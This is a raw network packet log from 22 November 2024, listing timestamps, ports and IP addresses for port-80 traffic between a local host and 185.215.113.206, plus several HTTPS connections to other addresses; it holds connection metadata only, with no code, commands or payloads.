Nov 22, 2024 23:06:35.222160101 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.222194910 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.222841024 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.222959995 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.222970963 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.222995043 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.223797083 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.223903894 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.223925114 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.223939896 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.224472046 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.224556923 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.224556923 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.224632025 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.225275040 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.225372076 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.225399017 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.225411892 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.226084948 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.226175070 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.226196051 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.226207972 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.226339102 CET	49827	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:35.226388931 CET	443	49827	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:35.226871967 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.226912022 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.226957083 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.226990938 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.227694988 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.227732897 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.227828979 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.227886915 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.228508949 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.228568077 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.228574991 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.228615046 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.234087944 CET	49827	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:35.234102011 CET	443	49827	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:35.236197948 CET	49825	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:35.236231089 CET	443	49825	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:35.243623972 CET	49835	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:35.243675947 CET	443	49835	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:35.243753910 CET	49835	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:35.243941069 CET	49835	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:35.243968010 CET	443	49835	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:35.247862101 CET	49836	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:35.247956038 CET	443	49836	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:35.248023033 CET	49836	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:35.248296976 CET	49836	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:35.248327017 CET	443	49836	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:35.276314020 CET	443	49833	52.228.161.161	192.168.2.5
Nov 22, 2024 23:06:35.276592970 CET	49833	443	192.168.2.5	52.228.161.161
Nov 22, 2024 23:06:35.276611090 CET	443	49833	52.228.161.161	192.168.2.5
Nov 22, 2024 23:06:35.277120113 CET	443	49833	52.228.161.161	192.168.2.5
Nov 22, 2024 23:06:35.277621984 CET	49833	443	192.168.2.5	52.228.161.161
Nov 22, 2024 23:06:35.277700901 CET	443	49833	52.228.161.161	192.168.2.5
Nov 22, 2024 23:06:35.278501987 CET	49833	443	192.168.2.5	52.228.161.161
Nov 22, 2024 23:06:35.278589010 CET	49833	443	192.168.2.5	52.228.161.161
Nov 22, 2024 23:06:35.278594017 CET	443	49833	52.228.161.161	192.168.2.5
Nov 22, 2024 23:06:35.302521944 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.302587986 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.302648067 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.302694082 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.302872896 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.302921057 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.302937984 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.303030014 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.303757906 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.303802013 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.303864956 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.303972006 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.304491043 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.304577112 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.304608107 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.304624081 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.305299044 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.305337906 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.305399895 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.305444002 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.306152105 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.306205988 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.306232929 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.306251049 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.306904078 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.306946039 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.307013035 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.307050943 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.307718039 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.307760954 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.307806969 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.307842970 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.308527946 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.308569908 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.308633089 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.308681011 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.309364080 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.309403896 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.309447050 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.309483051 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.310137987 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.310197115 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.310236931 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.310273886 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.310945988 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.310992002 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.311058044 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.311197996 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.311769962 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.311827898 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.311896086 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.311933041 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.312567949 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.312616110 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.312674999 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.312711954 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.313363075 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.313440084 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.313462019 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.313498020 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.314166069 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.314215899 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.314245939 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.314284086 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.314969063 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.315056086 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.315083027 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.315210104 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.315814972 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.315901041 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.315933943 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.315985918 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.316600084 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.316638947 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.316698074 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.316732883 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.317409039 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.317523956 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.317569971 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.318239927 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.318280935 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.318315029 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.318351984 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.319010973 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.319067955 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.319101095 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.319299936 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.319847107 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.319933891 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.319937944 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.319966078 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.320640087 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.320732117 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.320769072 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.321459055 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.321504116 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.321594954 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.321633101 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.322261095 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.322299957 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.322357893 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.322556019 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.323050022 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.323163033 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.323204994 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.323873997 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.323955059 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.323987961 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.324071884 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.324661970 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.324716091 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.324752092 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.324832916 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.325484991 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.325562000 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.325592041 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.325629950 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.326277971 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.326356888 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.326397896 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.326432943 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.327083111 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.327127934 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.327189922 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.327323914 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.327899933 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.328010082 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.328033924 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.328049898 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.328695059 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.328742981 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.388732910 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.388787031 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.388824940 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.388901949 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.389153957 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.389194965 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.389260054 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.389292955 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.389957905 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.390031099 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.390064001 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.390100956 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.390727997 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.390769005 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.436609030 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.436642885 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.436666012 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.436696053 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.436791897 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.436815977 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.436861992 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.437608004 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.437691927 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.437695980 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.437783003 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.438416958 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.438463926 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.438466072 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.438498020 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.439217091 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.439260960 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.439307928 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.439361095 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.440035105 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.440079927 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.440099001 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.440129995 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.440841913 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.440885067 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.440903902 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.440963984 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.441668034 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.441696882 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.441740036 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.442477942 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.442542076 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.442548037 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.442583084 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.443253994 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.443306923 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.443351984 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.443555117 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.444081068 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.444128036 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.444226027 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.444267988 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.444859982 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.444905043 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.444960117 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.444998980 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.445667982 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.445717096 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.445782900 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.445827961 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.446496010 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.446532011 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.446557999 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.446590900 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.447298050 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.447340012 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.447356939 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.447393894 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.448123932 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.448168039 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.448214054 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.448250055 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.448892117 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.448939085 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.448998928 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.449038982 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.513025045 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.513086081 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.513108969 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.513140917 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.513339043 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.513381958 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.520821095 CET	443	49832	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:35.520885944 CET	443	49832	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:35.520989895 CET	49832	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:35.521092892 CET	49832	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:35.521111012 CET	443	49832	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:35.521121025 CET	49832	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:35.521126986 CET	443	49832	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:35.524473906 CET	49837	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:35.524538040 CET	443	49837	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:35.524642944 CET	49837	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:35.525815964 CET	49837	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:35.525835037 CET	443	49837	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:35.532774925 CET	443	49826	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:35.532857895 CET	443	49826	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:35.533023119 CET	49826	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:35.533142090 CET	49826	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:35.533154964 CET	443	49826	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:35.533166885 CET	49826	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:35.533170938 CET	443	49826	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:35.535593987 CET	49838	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:35.535650015 CET	443	49838	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:35.535712957 CET	49838	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:35.536319971 CET	49838	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:35.536351919 CET	443	49838	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:35.568109035 CET	443	49827	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:35.568186998 CET	443	49827	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:35.568286896 CET	49827	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:35.568886042 CET	49827	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:35.568917036 CET	443	49827	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:35.568945885 CET	49827	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:35.568959951 CET	443	49827	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:35.571912050 CET	49841	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:35.571942091 CET	443	49841	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:35.572123051 CET	49841	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:35.572540998 CET	49841	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:35.572551012 CET	443	49841	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:35.645806074 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:35.740856886 CET	443	49834	52.228.161.161	192.168.2.5
Nov 22, 2024 23:06:35.741339922 CET	49834	443	192.168.2.5	52.228.161.161
Nov 22, 2024 23:06:35.741425037 CET	443	49834	52.228.161.161	192.168.2.5
Nov 22, 2024 23:06:35.741951942 CET	443	49834	52.228.161.161	192.168.2.5
Nov 22, 2024 23:06:35.742486954 CET	49834	443	192.168.2.5	52.228.161.161
Nov 22, 2024 23:06:35.742578030 CET	443	49834	52.228.161.161	192.168.2.5
Nov 22, 2024 23:06:35.742758036 CET	49834	443	192.168.2.5	52.228.161.161
Nov 22, 2024 23:06:35.742758036 CET	49834	443	192.168.2.5	52.228.161.161
Nov 22, 2024 23:06:35.742791891 CET	443	49834	52.228.161.161	192.168.2.5
Nov 22, 2024 23:06:35.758208036 CET	443	49833	52.228.161.161	192.168.2.5
Nov 22, 2024 23:06:35.758311033 CET	443	49833	52.228.161.161	192.168.2.5
Nov 22, 2024 23:06:35.758505106 CET	49833	443	192.168.2.5	52.228.161.161
Nov 22, 2024 23:06:35.758817911 CET	49833	443	192.168.2.5	52.228.161.161
Nov 22, 2024 23:06:35.758836985 CET	443	49833	52.228.161.161	192.168.2.5
Nov 22, 2024 23:06:35.765331984 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:35.843609095 CET	49842	443	192.168.2.5	23.209.72.17
Nov 22, 2024 23:06:35.843657970 CET	443	49842	23.209.72.17	192.168.2.5
Nov 22, 2024 23:06:35.843779087 CET	49842	443	192.168.2.5	23.209.72.17
Nov 22, 2024 23:06:35.844279051 CET	49843	443	192.168.2.5	23.209.72.17
Nov 22, 2024 23:06:35.844322920 CET	443	49843	23.209.72.17	192.168.2.5
Nov 22, 2024 23:06:35.844381094 CET	49843	443	192.168.2.5	23.209.72.17
Nov 22, 2024 23:06:35.845282078 CET	49844	443	192.168.2.5	23.209.72.17
Nov 22, 2024 23:06:35.845318079 CET	443	49844	23.209.72.17	192.168.2.5
Nov 22, 2024 23:06:35.845465899 CET	49844	443	192.168.2.5	23.209.72.17
Nov 22, 2024 23:06:35.845504045 CET	49842	443	192.168.2.5	23.209.72.17
Nov 22, 2024 23:06:35.845514059 CET	443	49842	23.209.72.17	192.168.2.5
Nov 22, 2024 23:06:35.845613956 CET	49843	443	192.168.2.5	23.209.72.17
